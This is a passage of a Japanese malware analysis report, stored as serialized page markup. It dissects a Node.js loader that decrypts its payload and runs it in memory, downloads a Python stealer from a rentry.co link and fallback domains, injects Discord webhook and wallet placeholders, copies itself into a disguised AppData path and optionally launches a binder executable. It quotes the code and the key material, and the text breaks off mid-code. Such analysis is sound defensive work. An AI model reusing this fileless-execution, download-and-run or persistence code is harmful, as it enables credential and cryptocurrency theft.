\"base64\"),\n);\n",[578,3117,3118,3134,3141,3146,3159],{"__ignoreMap":530},[1707,3119,3120,3122,3125,3127,3129,3132],{"class":1709,"line":1710},[1707,3121,3014],{"class":3013},[1707,3123,3124],{"class":2796}," decipher",[1707,3126,3020],{"class":3013},[1707,3128,3024],{"class":3023},[1707,3130,3131],{"class":2788},"createDecipheriv",[1707,3133,3030],{"class":3023},[1707,3135,3136,3139],{"class":1709,"line":531},[1707,3137,3138],{"class":2792},"  \"aes-256-cbc\"",[1707,3140,3060],{"class":3023},[1707,3142,3143],{"class":1709,"line":2090},[1707,3144,3145],{"class":3023},"  key,\n",[1707,3147,3148,3150,3152,3155,3157],{"class":1709,"line":2096},[1707,3149,3040],{"class":3023},[1707,3151,3043],{"class":2788},[1707,3153,3154],{"class":3023},"(iv, ",[1707,3156,3049],{"class":2792},[1707,3158,3052],{"class":3023},[1707,3160,3161],{"class":1709,"line":2419},[1707,3162,3080],{"class":3023},[724,3164],{},"暗号化されたペイロードは、標準的なCBC（Cipher Block Chaining）モードで復号されます。",[616,3167,3169],{"className":3004,"code":3168,"language":3006,"meta":530,"style":530},"let decrypted = decipher.update(encdata, \"base64\", \"utf8\");\ndecrypted += decipher.final(\"utf8\");\n",[578,3170,3171,3200],{"__ignoreMap":530},[1707,3172,3173,3176,3179,3182,3185,3188,3191,3193,3195,3198],{"class":1709,"line":1710},[1707,3174,3175],{"class":3013},"let",[1707,3177,3178],{"class":3023}," decrypted ",[1707,3180,3181],{"class":3013},"=",[1707,3183,3184],{"class":3023}," decipher.",[1707,3186,3187],{"class":2788},"update",[1707,3189,3190],{"class":3023},"(encdata, ",[1707,3192,3049],{"class":2792},[1707,3194,2016],{"class":3023},[1707,3196,3197],{"class":2792},"\"utf8\"",[1707,3199,3080],{"class":3023},[1707,3201,3202,3205,3208,3210,3213,3216,3218],{"class":1709,"line":531},[1707,3203,3204],{"class":3023},"decrypted ",[1707,3206,3207],{"class":3013},"+=",[1707,3209,3184],{"class":3023},[1707,3211,3212],{"class":2788},"final",[1707,3214,3215],{"class":3023},"(",[1707,3217,3197],{"class":2792},[1707,3219,3080],{"class":3023},[634,3221,3222,3225,3226,3229,3230,3251,3253],{},[567,3223,3224],{},"動的実行:","\n復号されたJavaScriptコードがディスクに書き込まれることはありません。代わりに、",[578,3227,3228],{},"Function"," コンストラクターを使ってメモリ上で動的に実行されます。",[616,3231,3233],{"className":3004,"code":3232,"language":3006,"meta":530,"style":530},"new Function(\"require\", decrypted)(require);\n",[578,3234,3235],{"__ignoreMap":530},[1707,3236,3237,3240,3243,3245,3248],{"class":1709,"line":1710},[1707,3238,3239],{"class":3013},"new",[1707,3241,3242],{"class":2788}," Function",[1707,3244,3215],{"class":3023},[1707,3246,3247],{"class":2792},"\"require\"",[1707,3249,3250],{"class":3023},", decrypted)(require);\n",[724,3252],{},"この手法によってファイルレス実行が可能になり、ディスクベースのスキャンに依存する従来のウイルス対策エンジンに検出される可能性が下がります。",[526,3255,3256],{},"このアプローチは、鍵導出、強力な暗号化、動的なメモリ内実行を組み合わせることで、リバースエンジニアリングに対する多層的な防御を実現しています。",[526,3258,3259],{},[567,3260,3261],{},"鍵材料と暗号化データ",[526,3263,3264],{},"スクリプトには、次のハードコードされた入力が含まれています。",[631,3266,3267,3273,3282,3290],{},[634,3268,3269,3272],{},[567,3270,3271],{},"暗号化データ:"," 巨大なBase64エンコードのブロブ",[634,3274,3275,3278,3279],{},[567,3276,3277],{},"マスターキー:"," ",[578,3280,3281],{},"9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs",[634,3283,3284,3278,3286,3289],{},[567,3285,3105],{},[578,3287,3288],{},"maXtklzMEZRY9dbul/XPSw==","（Base64エンコード）",[634,3291,3292,3278,3295,3289],{},[567,3293,3294],{},"IV:",[578,3296,3297],{},"HwK6sOz7FBbL+YsrOxtYUg==",[526,3299,3300,3301,3303],{},"これらはすべて ",[578,3302,2830],{}," のソースコードに直接埋め込まれています。",[741,3305,3307],{"id":3306},"_62-復号後のペイロードの振る舞い","6.2 復号後のペイロードの振る舞い",[526,3309,747],{},[526,3311,3312],{},"復号されると、埋め込まれたペイロードは次の悪意ある動作を行う完全なJavaScriptプログラムになります。",[889,3314,3316],{"id":3315},"_621-実行環境の準備","6.2.1 実行環境の準備",[526,3318,895],{},[526,3320,3321],{},"復号されたペイロードはまず、Node.js組み込みのモジュールを使って実行環境を整えます。この準備フェーズにより、悪意ある動作が始まる前に、必要なパスと作業ディレクトリがすべて明確に定義されます。",[631,3323,3324,3357],{},[634,3325,3326,3329,3330,3333,3334],{},[567,3327,3328],{},"一時ディレクトリの解決:","\nマルウェアは ",[578,3331,3332],{},"os.tmpdir()"," を呼び出し、現在のシステムの一時ディレクトリのパスを取得します。一時フォルダーは通常書き込み可能で、エンドポイント保護製品の監視も比較的手薄なため、マルウェアの定番の戦術です。",[616,3335,3337],{"className":3004,"code":3336,"language":3006,"meta":530,"style":530},"const tempDir = os.tmpdir();\n",[578,3338,3339],{"__ignoreMap":530},[1707,3340,3341,3343,3346,3348,3351,3354],{"class":1709,"line":1710},[1707,3342,3014],{"class":3013},[1707,3344,3345],{"class":2796}," tempDir",[1707,3347,3020],{"class":3013},[1707,3349,3350],{"class":3023}," os.",[1707,3352,3353],{"class":2788},"tmpdir",[1707,3355,3356],{"class":3023},"();\n",[634,3358,3359,3362,3363,3376],{},[567,3360,3361],{},"パスの構築:","\n続いてスクリプトは、2つの重要なファイルの絶対パスを構築します。",[631,3364,3365,3370],{},[634,3366,3367,3369],{},[578,3368,2891],{},": 実際の第2段階のPythonベースのスティーラーを含むアーカイブ",[634,3371,3372,3375],{},[578,3373,3374],{},"bnd.exe",": 永続化用のバックドアや追加ペイロードとして機能しうる、任意の実行ファイル",[616,3377,3379],{"className":3004,"code":3378,"language":3006,"meta":530,"style":530},"const tempFile = path.join(tempDir, \"pyth.zip\");\nconst binderFile = path.join(tempDir, \"bnd.exe\");\n",[578,3380,3381,3404],{"__ignoreMap":530},[1707,3382,3383,3385,3388,3390,3393,3396,3399,3402],{"class":1709,"line":1710},[1707,3384,3014],{"class":3013},[1707,3386,3387],{"class":2796}," tempFile",[1707,3389,3020],{"class":3013},[1707,3391,3392],{"class":3023}," path.",[1707,3394,3395],{"class":2788},"join",[1707,3397,3398],{"class":3023},"(tempDir, ",[1707,3400,3401],{"class":2792},"\"pyth.zip\"",[1707,3403,3080],{"class":3023},[1707,3405,3406,3408,3411,3413,3415,3417,3419,3422],{"class":1709,"line":531},[1707,3407,3014],{"class":3013},[1707,3409,3410],{"class":2796}," binderFile",[1707,3412,3020],{"class":3013},[1707,3414,3392],{"class":3023},[1707,3416,3395],{"class":2788},[1707,3418,3398],{"class":3023},[1707,3420,3421],{"class":2792},"\"bnd.exe\"",[1707,3423,3080],{"class":3023},[526,3425,3426],{},"このパス設定はOS固有のパス構文を吸収し、あらゆるWindowsシステム上でマルウェアがそのまま動作できるようにします。同時に、これに続くファイルのダウンロードと展開のメカニズムへの下地にもなっています。",[889,3428,3430],{"id":3429},"_622-フォールバック戦略を備えたペイロードのダウンロード","6.2.2 フォールバック戦略を備えたペイロードのダウンロード",[526,3432,895],{},[526,3434,3435],{},"復号されたJavaScriptペイロードの第2の主要フェーズは、リモートの配信元から悪意あるZIPアーカイブをダウンロードすることです。このメカニズムは、耐性と可用性を高めるために多層のフォールバック戦略を備えて設計されています。",[631,3437,3438,3470,3555,3589],{},[634,3439,3440,3443,3444,3464,3466,3467,3469],{},[567,3441,3442],{},"Rentry.co経由の主リンク解決","\nスクリプトはまず、テキストペーストサービスから動的なURLを解決します。次の宛先にGETリクエストを送ります。",[616,3445,3447],{"className":3004,"code":3446,"language":3006,"meta":530,"style":530},"const url = \"https://rentry.co/7vzd22fg36hfdd33/raw\";\n",[578,3448,3449],{"__ignoreMap":530},[1707,3450,3451,3453,3456,3458,3461],{"class":1709,"line":1710},[1707,3452,3014],{"class":3013},[1707,3454,3455],{"class":2796}," url",[1707,3457,3020],{"class":3013},[1707,3459,3460],{"class":2792}," \"https://rentry.co/7vzd22fg36hfdd33/raw\"",[1707,3462,3463],{"class":3023},";\n",[724,3465],{},"これにより、",[578,3468,2891],{}," アーカイブの実際の所在を指すプレーンテキストのURL文字列が返されます。このようなリダイレクトのしくみを使うのはよくある難読化手法です。実際の悪意あるURLを隠し、静的な検出を難しくします。",[634,3471,3472,3475,3476,3508,3510,3511,3513,3514,3548,3550,3551,3554],{},[567,3473,3474],{},"ダウンロードの実行","\n解決されたURLに対して、Axiosライブラリを使いレスポンスストリームで要求します。",[616,3477,3479],{"className":3004,"code":3478,"language":3006,"meta":530,"style":530},"const fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\n",[578,3480,3481],{"__ignoreMap":530},[1707,3482,3483,3485,3488,3490,3493,3496,3499,3502,3505],{"class":1709,"line":1710},[1707,3484,3014],{"class":3013},[1707,3486,3487],{"class":2796}," fileResponse",[1707,3489,3020],{"class":3013},[1707,3491,3492],{"class":3013}," await",[1707,3494,3495],{"class":3023}," axios.",[1707,3497,3498],{"class":2788},"get",[1707,3500,3501],{"class":3023},"(fileUrl, { responseType: ",[1707,3503,3504],{"class":2792},"\"stream\"",[1707,3506,3507],{"class":3023}," });\n",[724,3509],{},"ファイルはシステムの一時ディレクトリに ",[578,3512,2891],{}," として書き出されます。",[616,3515,3517],{"className":3004,"code":3516,"language":3006,"meta":530,"style":530},"const writer = fs.createWriteStream(tempFile);\nfileResponse.data.pipe(writer);\n",[578,3518,3519,3537],{"__ignoreMap":530},[1707,3520,3521,3523,3526,3528,3531,3534],{"class":1709,"line":1710},[1707,3522,3014],{"class":3013},[1707,3524,3525],{"class":2796}," writer",[1707,3527,3020],{"class":3013},[1707,3529,3530],{"class":3023}," fs.",[1707,3532,3533],{"class":2788},"createWriteStream",[1707,3535,3536],{"class":3023},"(tempFile);\n",[1707,3538,3539,3542,3545],{"class":1709,"line":531},[1707,3540,3541],{"class":3023},"fileResponse.data.",[1707,3543,3544],{"class":2788},"pipe",[1707,3546,3547],{"class":3023},"(writer);\n",[724,3549],{},"このダウンロードは ",[578,3552,3553],{},"Promise"," でラップされ、以降のロジックが実行される前に確実に完了するようになっています。",[634,3556,3557,3560,3561,3586,3588],{},[567,3558,3559],{},"フォールバックURL","\nRentry経由のリンクが失敗した場合、スクリプトはハードコードされたバックアップの所在を試します。",[616,3562,3564],{"className":3004,"code":3563,"language":3006,"meta":530,"style":530},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip\nhttps://cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[578,3565,3566,3577],{"__ignoreMap":530},[1707,3567,3568,3571,3573],{"class":1709,"line":1710},[1707,3569,3570],{"class":2788},"https",[1707,3572,1202],{"class":3023},[1707,3574,3576],{"class":3575},"sJ8bj","//cosmicdust.zip/.well-known/pki-validation/pyth.zip\n",[1707,3578,3579,3581,3583],{"class":1709,"line":531},[1707,3580,3570],{"class":2788},[1707,3582,1202],{"class":3023},[1707,3584,3585],{"class":3575},"//cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[724,3587],{},"これらのドメインは、標準的なTLS検証用フォルダーの一部に見えるよう構成されており、Let's Encryptやドメイン検証のパスを模して疑いを和らげている可能性があります。各フォールバックは、同じストリーミングとファイル書き込みのロジックで再試行されます。",[634,3590,3591,3594,3595,3598],{},[567,3592,3593],{},"堅牢性と難読化","\nこのフォールバックのしくみにより、マルウェアは第2段階ペイロードの取得経路を複数確保します。動的なポインター（",[578,3596,3597],{},"rentry.co","）と複数のフェイルオーバーミラーを使うことで、テイクダウンやブロック、DNSシンクホールに対する耐性が高まります。",[526,3600,3601],{},"このフェーズは、多層的な冗長性とうまくカモフラージュされた配信インフラを用いた、マルウェア作者の周到な運用設計を示しています。",[631,3603,3604,3610],{},[634,3605,3606,3607,3609],{},"解決されたURLから ",[578,3608,2891],{}," をダウンロードする",[634,3611,3612,3613],{},"失敗した場合はフォールバックのミラーを試す:\n",[631,3614,3615,3620],{},[634,3616,3617],{},[578,3618,3619],{},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip",[634,3621,3622],{},[578,3623,3624],{},"https://cosmoplanets.net/well-known/pki-validation/pyth.zip",[889,3626,3628],{"id":3627},"_623-ペイロードの展開と改変","6.2.3 ペイロードの展開と改変",[526,3630,895],{},[526,3632,3633,3635,3636,3638],{},[578,3634,2891],{}," アーカイブのダウンロードとディスクへの保存に成功すると、マルウェアはその内容を展開し、実行に向けた準備を進めます。これはZIPファイルをプログラムから扱えるNode.jsライブラリ ",[578,3637,2862],{}," を使って行われます。",[631,3640,3641,3689,3715],{},[634,3642,3643,3646,3683,3685,3686,3688],{},[567,3644,3645],{},"ZIPの展開:",[616,3647,3649],{"className":3004,"code":3648,"language":3006,"meta":530,"style":530},"const zip = new AdmZip(tempFile);\nzip.extractAllTo(tempDir, true);\n",[578,3650,3651,3668],{"__ignoreMap":530},[1707,3652,3653,3655,3658,3660,3663,3666],{"class":1709,"line":1710},[1707,3654,3014],{"class":3013},[1707,3656,3657],{"class":2796}," zip",[1707,3659,3020],{"class":3013},[1707,3661,3662],{"class":3013}," new",[1707,3664,3665],{"class":2788}," AdmZip",[1707,3667,3536],{"class":3023},[1707,3669,3670,3673,3676,3678,3681],{"class":1709,"line":531},[1707,3671,3672],{"class":3023},"zip.",[1707,3674,3675],{"class":2788},"extractAllTo",[1707,3677,3398],{"class":3023},[1707,3679,3680],{"class":2796},"true",[1707,3682,3080],{"class":3023},[724,3684],{},"これによりアーカイブの内容がすべてシステムの一時ディレクトリに展開されます。",[578,3687,3680],{}," フラグは既存ファイルの上書きを保証します。",[634,3690,3691,3694,3695,3697,3698],{},[567,3692,3693],{},"アーカイブの内容:","\nアーカイブ ",[578,3696,2891],{}," には、完全にバンドルされたPythonプロジェクトが含まれており、次のものを伴います。",[631,3699,3700,3703,3706],{},[634,3701,3702],{},"正規のPythonパッケージに似せたディレクトリ構造",[634,3704,3705],{},"複数のPythonモジュールと依存関係",[634,3707,3708,3711,3712,3714],{},[578,3709,3710],{},"Crypto/Util/astor.py"," に置かれた主要ファイル ",[578,3713,613],{},"。これがスティーラー本体のペイロードです",[634,3716,3717,3329,3720,3722,3723,3743],{},[567,3718,3719],{},"プレースホルダーの置換:",[578,3721,613],{}," 内のあらかじめ定義されたプレースホルダーを動的に置換し、攻撃者が管理する次のような設定データを埋め込みます。",[631,3724,3725,3728,3731,3737],{},[634,3726,3727],{},"Discord WebhookのURL",[634,3729,3730],{},"暗号通貨のウォレットアドレス（BTC、ETH、DOGE、LTC、XMRなど）",[634,3732,3733,3734,2039],{},"ユーザー識別子（",[578,3735,3736],{},"%USERID%",[634,3738,3739,3740,2039],{},"エラー状態のフラグ（",[578,3741,3742],{},"%ERRORSTATUS%",[616,3744,3746],{"className":3004,"code":3745,"language":3006,"meta":530,"style":530},"fs.readFile(extractedDir + \"\\Crypto\\Util\\astor.py\", 'utf8', (err, data) => {\n  let updatedFile = data\n    .replace(\"%DISCORD%\", \u003Cwebhook>)\n    .replace(\"%ADDRESSBTC%\", \u003Cbtc_address>)\n    ...\n    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n\n  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n});\n",[578,3747,3748,3809,3822,3845,3855,3860,3865,3870,3876],{"__ignoreMap":530},[1707,3749,3750,3753,3756,3759,3762,3765,3768,3771,3774,3777,3780,3783,3785,3788,3791,3795,3797,3800,3803,3806],{"class":1709,"line":1710},[1707,3751,3752],{"class":3023},"fs.",[1707,3754,3755],{"class":2788},"readFile",[1707,3757,3758],{"class":3023},"(extractedDir ",[1707,3760,3761],{"class":3013},"+",[1707,3763,3764],{"class":2792}," \"",[1707,3766,3767],{"class":2796},"\\C",[1707,3769,3770],{"class":2792},"rypto",[1707,3772,3773],{"class":2796},"\\U",[1707,3775,3776],{"class":2792},"til",[1707,3778,3779],{"class":2796},"\\a",[1707,3781,3782],{"class":2792},"stor.py\"",[1707,3784,2016],{"class":3023},[1707,3786,3787],{"class":2792},"'utf8'",[1707,3789,3790],{"class":3023},", (",[1707,3792,3794],{"class":3793},"s4XuR","err",[1707,3796,2016],{"class":3023},[1707,3798,3799],{"class":3793},"data",[1707,3801,3802],{"class":3023},") ",[1707,3804,3805],{"class":3013},"=>",[1707,3807,3808],{"class":3023}," {\n",[1707,3810,3811,3814,3817,3819],{"class":1709,"line":531},[1707,3812,3813],{"class":3013},"  let",[1707,3815,3816],{"class":3023}," updatedFile ",[1707,3818,3181],{"class":3013},[1707,3820,3821],{"class":3023}," data\n",[1707,3823,3824,3827,3830,3832,3835,3838,3842],{"class":1709,"line":2090},[1707,3825,3826],{"class":3023},"    .",[1707,3828,3829],{"class":2788},"replace",[1707,3831,3215],{"class":3023},[1707,3833,3834],{"class":2792},"\"%DISCORD%\"",[1707,3836,3837],{"class":3023},", \u003C",[1707,3839,3841],{"class":3840},"s9eBZ","webhook",[1707,3843,3844],{"class":3023},">)\n",[1707,3846,3847,3850,3853],{"class":1709,"line":2096},[1707,3848,3849],{"class":3023},"    .replace(\"%ADDRESSBTC%\", \u003C",[1707,3851,3852],{"class":2796},"btc_address",[1707,3854,3844],{"class":3023},[1707,3856,3857],{"class":1709,"line":2419},[1707,3858,3859],{"class":3023},"    ...\n",[1707,3861,3862],{"class":1709,"line":2425},[1707,3863,3864],{"class":3023},"    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n",[1707,3866,3867],{"class":1709,"line":3077},[1707,3868,3869],{"emptyLinePlaceholder":325},"\n",[1707,3871,3873],{"class":1709,"line":3872},8,[1707,3874,3875],{"class":3023},"  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n",[1707,3877,3879],{"class":1709,"line":3878},9,[1707,3880,3881],{"class":3023},"});\n",[526,3883,3884],{},"この動的な改変フェーズは不可欠です。攻撃者が管理する値の埋め込みを実行時まで遅らせることで、ペイロードは静的検出を回避し、アーカイブを再パッケージすることなく標的や窃取先エンドポイントを変更できるようになります。",[631,3886,3887],{},[634,3888,3889,3891,3892],{},[578,3890,613],{}," 内のプレースホルダー文字列を置換する:\n",[631,3893,3894,3900,3910],{},[634,3895,3896,3897],{},"Discord Webhook: ",[578,3898,3899],{},"%DISCORD%",[634,3901,3902,3903,647,3906,3909],{},"ウォレットアドレス: ",[578,3904,3905],{},"%ADDRESSBTC%",[578,3907,3908],{},"%ADDRESSETH%"," など",[634,3911,3912],{},"ユーザーIDとエラーフラグ",[889,3914,3916],{"id":3915},"_624-マルウェアの実行","6.2.4 マルウェアの実行",[526,3918,895],{},[631,3920,3921],{},[634,3922,3923,3924],{},"astor.pyへのプレースホルダー埋め込みが完了すると、マルウェアはシステムコールを介してスティーラーの実行を開始します",[616,3925,3927],{"className":3004,"code":3926,"language":3006,"meta":530,"style":530},"exec(\"python.exe Crypto\\\\Util\\\\astor.py\");\n",[578,3928,3929],{"__ignoreMap":530},[1707,3930,3931,3934,3936,3939,3942,3945,3947,3950],{"class":1709,"line":1710},[1707,3932,3933],{"class":2788},"exec",[1707,3935,3215],{"class":3023},[1707,3937,3938],{"class":2792},"\"python.exe Crypto",[1707,3940,3941],{"class":2796},"\\\\",[1707,3943,3944],{"class":2792},"Util",[1707,3946,3941],{"class":2796},[1707,3948,3949],{"class":2792},"astor.py\"",[1707,3951,3080],{"class":3023},[526,3953,3954],{},"このコマンドはNode.jsのchild_process.exec関数を使って実行され、埋め込まれたPythonペイロードを別プロセスで起動します。この特徴的な実行パターン、すなわち引数 Crypto\\Util\\astor.py を伴う python.exe は、Microsoft Defender for Endpointが収集したテレメトリデータで観測されており、信頼できる検出の手がかりになります。実際の実行チェーンは次のようになります。",[526,3956,3957],{},"Microsoft Defender for Endpointのテレメトリで観測されたマルウェアの実行チェーン全体は、次の順序をたどります。",[631,3959,3960,3969,3976,3983],{},[634,3961,3962,3964,3965,3968],{},[578,3963,606],{},"（Electronベースのコンテナー）が ",[578,3966,3967],{},"node.exe"," を呼び出す",[634,3970,3971,1294,3973,3975],{},[578,3972,3967],{},[578,3974,1130],{}," を起動する",[634,3977,3978,1294,3980,3982],{},[578,3979,1130],{},[578,3981,580],{}," を開始する",[634,3984,3985,3987,3988,3990],{},[578,3986,580],{}," がファイル ",[578,3989,1140],{}," を実行する",[889,3992,3994],{"id":3993},"_625-永続化の強化","6.2.5 永続化の強化",[526,3996,895],{},[526,3998,3999,4000,4002],{},"感染したシステム上での長期的な存在を確実にするため、復号されたJavaScriptペイロードには、最初のバイナリ（",[578,4001,602],{},"）をユーザープロファイル内の目立たない場所にコピーして永続化を再確立するロジックが含まれています。",[526,4004,4005],{},[567,4006,4007],{},"コピー先のディレクトリ",[526,4009,4010],{},"ファイルは、正規のWindowsコンポーネントを模したディレクトリにコピーされます。",[616,4012,4014],{"className":3004,"code":4013,"language":3006,"meta":530,"style":530},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[578,4015,4016],{"__ignoreMap":530},[1707,4017,4018,4021,4024,4026],{"class":1709,"line":1710},[1707,4019,4020],{"class":3013},"%",[1707,4022,4023],{"class":2796},"APPDATA",[1707,4025,4020],{"class":3013},[1707,4027,4028],{"class":3023},"\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[526,4030,4031],{},"この場所は意図的に選ばれています。",[631,4033,4034,4037],{},[634,4035,4036],{},"%APPDATA% は一般ユーザーが書き込み可能で、管理者権限を必要としません。",[634,4038,4039],{},"ディレクトリ名が正規のMicrosoftアプリケーションフォルダーを模しているため、疑われにくくなります。",[526,4041,4042],{},[567,4043,4044],{},"コピーのしくみ:",[526,4046,4047],{},"コピー操作にはNode.jsの fs.copyFileSync() 関数が使われます。",[616,4049,4051],{"className":3004,"code":4050,"language":3006,"meta":530,"style":530},"fs.copyFileSync(\n  process.env.PORTABLE_EXECUTABLE_FILE,\n  path.join(\n    process.env.APPDATA,\n    \"Microsoft\",\n    \"Internet Explorer\",\n    \"UserData\",\n    \"Updater.exe\",\n  ),\n);\n",[578,4052,4053,4062,4072,4081,4090,4097,4104,4111,4118,4123],{"__ignoreMap":530},[1707,4054,4055,4057,4060],{"class":1709,"line":1710},[1707,4056,3752],{"class":3023},[1707,4058,4059],{"class":2788},"copyFileSync",[1707,4061,3030],{"class":3023},[1707,4063,4064,4067,4070],{"class":1709,"line":531},[1707,4065,4066],{"class":3023},"  process.env.",[1707,4068,4069],{"class":2796},"PORTABLE_EXECUTABLE_FILE",[1707,4071,3060],{"class":3023},[1707,4073,4074,4077,4079],{"class":1709,"line":2090},[1707,4075,4076],{"class":3023},"  path.",[1707,4078,3395],{"class":2788},[1707,4080,3030],{"class":3023},[1707,4082,4083,4086,4088],{"class":1709,"line":2096},[1707,4084,4085],{"class":3023},"    process.env.",[1707,4087,4023],{"class":2796},[1707,4089,3060],{"class":3023},[1707,4091,4092,4095],{"class":1709,"line":2419},[1707,4093,4094],{"class":2792},"    \"Microsoft\"",[1707,4096,3060],{"class":3023},[1707,4098,4099,4102],{"class":1709,"line":2425},[1707,4100,4101],{"class":2792},"    \"Internet Explorer\"",[1707,4103,3060],{"class":3023},[1707,4105,4106,4109],{"class":1709,"line":3077},[1707,4107,4108],{"class":2792},"    \"UserData\"",[1707,4110,3060],{"class":3023},[1707,4112,4113,4116],{"class":1709,"line":3872},[1707,4114,4115],{"class":2792},"    \"Updater.exe\"",[1707,4117,3060],{"class":3023},[1707,4119,4120],{"class":1709,"line":3878},[1707,4121,4122],{"class":3023},"  ),\n",[1707,4124,4126],{"class":1709,"line":4125},10,[1707,4127,3080],{"class":3023},[631,4129,4130,4133],{},[634,4131,4132],{},"PORTABLE_EXECUTABLE_FILE は、実行中のバイナリのパスを参照するために多くのパッカー（Electronなど）が自動的に設定する環境変数です。",[634,4134,4135],{},"path.join(...) は、異なるオペレーティングシステムをまたいで完全修飾のコピー先パスを組み立てます。",[526,4137,4138],{},"このロジックはファイルがまだ存在しない場合にのみ実行されます。つまり、削除されたドロッパーを復元する自己修復メカニズムとして機能します。",[526,4140,4141,4144],{},[567,4142,4143],{},"マルウェアチェーンにおける役割","\nコピーされたこの Updater.exe が存在することで、次が保証されます。",[631,4146,4147,4150],{},[634,4148,4149],{},"ローダーがシステムの再起動をまたいで自分自身を再起動できる。",[634,4151,4152],{},"監視されやすい従来のレジストリによる永続化メカニズムに頼らずに、感染チェーン全体（main.exe、node.exe、最終的に astor.py へと至る流れ）を再開できる。",[889,4154,4156],{"id":4155},"_626-任意のバインダー実行","6.2.6 任意のバインダー実行",[526,4158,895],{},[526,4160,4161,4162,4164],{},"主要なスティーラーペイロード（",[578,4163,613],{},"）のダウンロードと実行に加えて、復号されたJavaScriptには「バインダー」と呼ばれる副次的な実行ファイルを任意でダウンロードし起動するロジックも含まれています。このコンポーネントは、永続化、注意逸らし、あるいは追加のマルウェアモジュールの配備に使えます。",[526,4166,4167],{},[567,4168,4169],{},"条件付きの実行",[526,4171,4172],{},"バインダーのロジックは、特定のフラグが設定された場合にのみ有効になります。",[616,4174,4176],{"className":3004,"code":4175,"language":3006,"meta":530,"style":530},"enableBinder = true;\n",[578,4177,4178],{"__ignoreMap":530},[1707,4179,4180,4183,4185,4188],{"class":1709,"line":1710},[1707,4181,4182],{"class":3023},"enableBinder ",[1707,4184,3181],{"class":3013},[1707,4186,4187],{"class":2796}," true",[1707,4189,3463],{"class":3023},[526,4191,4192,4193,4196],{},"分析した検体では、この値は既定で ",[578,4194,4195],{},"false"," に設定されていましたが、ロジック自体はペイロードに残っており、別のキャンペーンや亜種で簡単に有効化できます。",[526,4198,4199],{},[567,4200,4201],{},"バインダーのダウンロードロジック",[526,4203,4204,4205,4208],{},"有効化されると、スクリプトは ",[578,4206,4207],{},"%BINDERURL%"," プレースホルダーで定義されたURLから外部のバイナリを取得しようとします。",[616,4210,4212],{"className":3004,"code":4211,"language":3006,"meta":530,"style":530},"const fileUrl = \"%BINDERURL%\";\nconst fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\nconst writer = fs.createWriteStream(binderFile);\nfileResponse.data.pipe(writer);\n",[578,4213,4214,4228,4248,4263],{"__ignoreMap":530},[1707,4215,4216,4218,4221,4223,4226],{"class":1709,"line":1710},[1707,4217,3014],{"class":3013},[1707,4219,4220],{"class":2796}," fileUrl",[1707,4222,3020],{"class":3013},[1707,4224,4225],{"class":2792}," \"%BINDERURL%\"",[1707,4227,3463],{"class":3023},[1707,4229,4230,4232,4234,4236,4238,4240,4242,4244,4246],{"class":1709,"line":531},[1707,4231,3014],{"class":3013},[1707,4233,3487],{"class":2796},[1707,4235,3020],{"class":3013},[1707,4237,3492],{"class":3013},[1707,4239,3495],{"class":3023},[1707,4241,3498],{"class":2788},[1707,4243,3501],{"class":3023},[1707,4245,3504],{"class":2792},[1707,4247,3507],{"class":3023},[1707,4249,4250,4252,4254,4256,4258,4260],{"class":1709,"line":2090},[1707,4251,3014],{"class":3013},[1707,4253,3525],{"class":2796},[1707,4255,3020],{"class":3013},[1707,4257,3530],{"class":3023},[1707,4259,3533],{"class":2788},[1707,4261,4262],{"class":3023},"(binderFile);\n",[1707,4264,4265,4267,4269],{"class":1709,"line":2096},[1707,4266,3541],{"class":3023},[1707,4268,3544],{"class":2788},[1707,4270,3547],{"class":3023},[631,4272,4273,4278],{},[634,4274,4275,4277],{},[578,4276,3374],{}," ファイルはシステムの一時ディレクトリに保存されます。",[634,4279,4280,4282],{},[578,4281,2891],{}," と同様に、バイナリ全体をメモリに読み込まないよう、Axiosによるストリーミング方式でダウンロードされます。",[526,4284,4285],{},[567,4286,4287],{},"実行の戦略",[526,4289,4290,4291,4293],{},"ダウンロードに成功すると、スクリプトは ",[578,4292,1130],{}," を使ってダウンロードしたバイナリを呼び出し、新しいシェルコンテキストで実行されるようにします。",[616,4295,4297],{"className":3004,"code":4296,"language":3006,"meta":530,"style":530},"exec(`start cmd /c start ${binderFile}`, ...);\n",[578,4298,4299],{"__ignoreMap":530},[1707,4300,4301,4303,4305,4308,4311,4314,4316,4319],{"class":1709,"line":1710},[1707,4302,3933],{"class":2788},[1707,4304,3215],{"class":3023},[1707,4306,4307],{"class":2792},"`start cmd /c start ${",[1707,4309,4310],{"class":3023},"binderFile",[1707,4312,4313],{"class":2792},"}`",[1707,4315,2016],{"class":3023},[1707,4317,4318],{"class":3013},"...",[1707,4320,3080],{"class":3023},[526,4322,4323],{},"信頼性を高めるため、スクリプトには再試行のロジックが含まれています。",[616,4325,4327],{"className":3004,"code":4326,"language":3006,"meta":530,"style":530},"setTimeout(() => {\n  exec(...);\n}, 5000);\n",[578,4328,4329,4341,4352],{"__ignoreMap":530},[1707,4330,4331,4334,4337,4339],{"class":1709,"line":1710},[1707,4332,4333],{"class":2788},"setTimeout",[1707,4335,4336],{"class":3023},"(() ",[1707,4338,3805],{"class":3013},[1707,4340,3808],{"class":3023},[1707,4342,4343,4346,4348,4350],{"class":1709,"line":531},[1707,4344,4345],{"class":2788},"  exec",[1707,4347,3215],{"class":3023},[1707,4349,4318],{"class":3013},[1707,4351,3080],{"class":3023},[1707,4353,4354,4357,4360],{"class":1709,"line":2090},[1707,4355,4356],{"class":3023},"}, 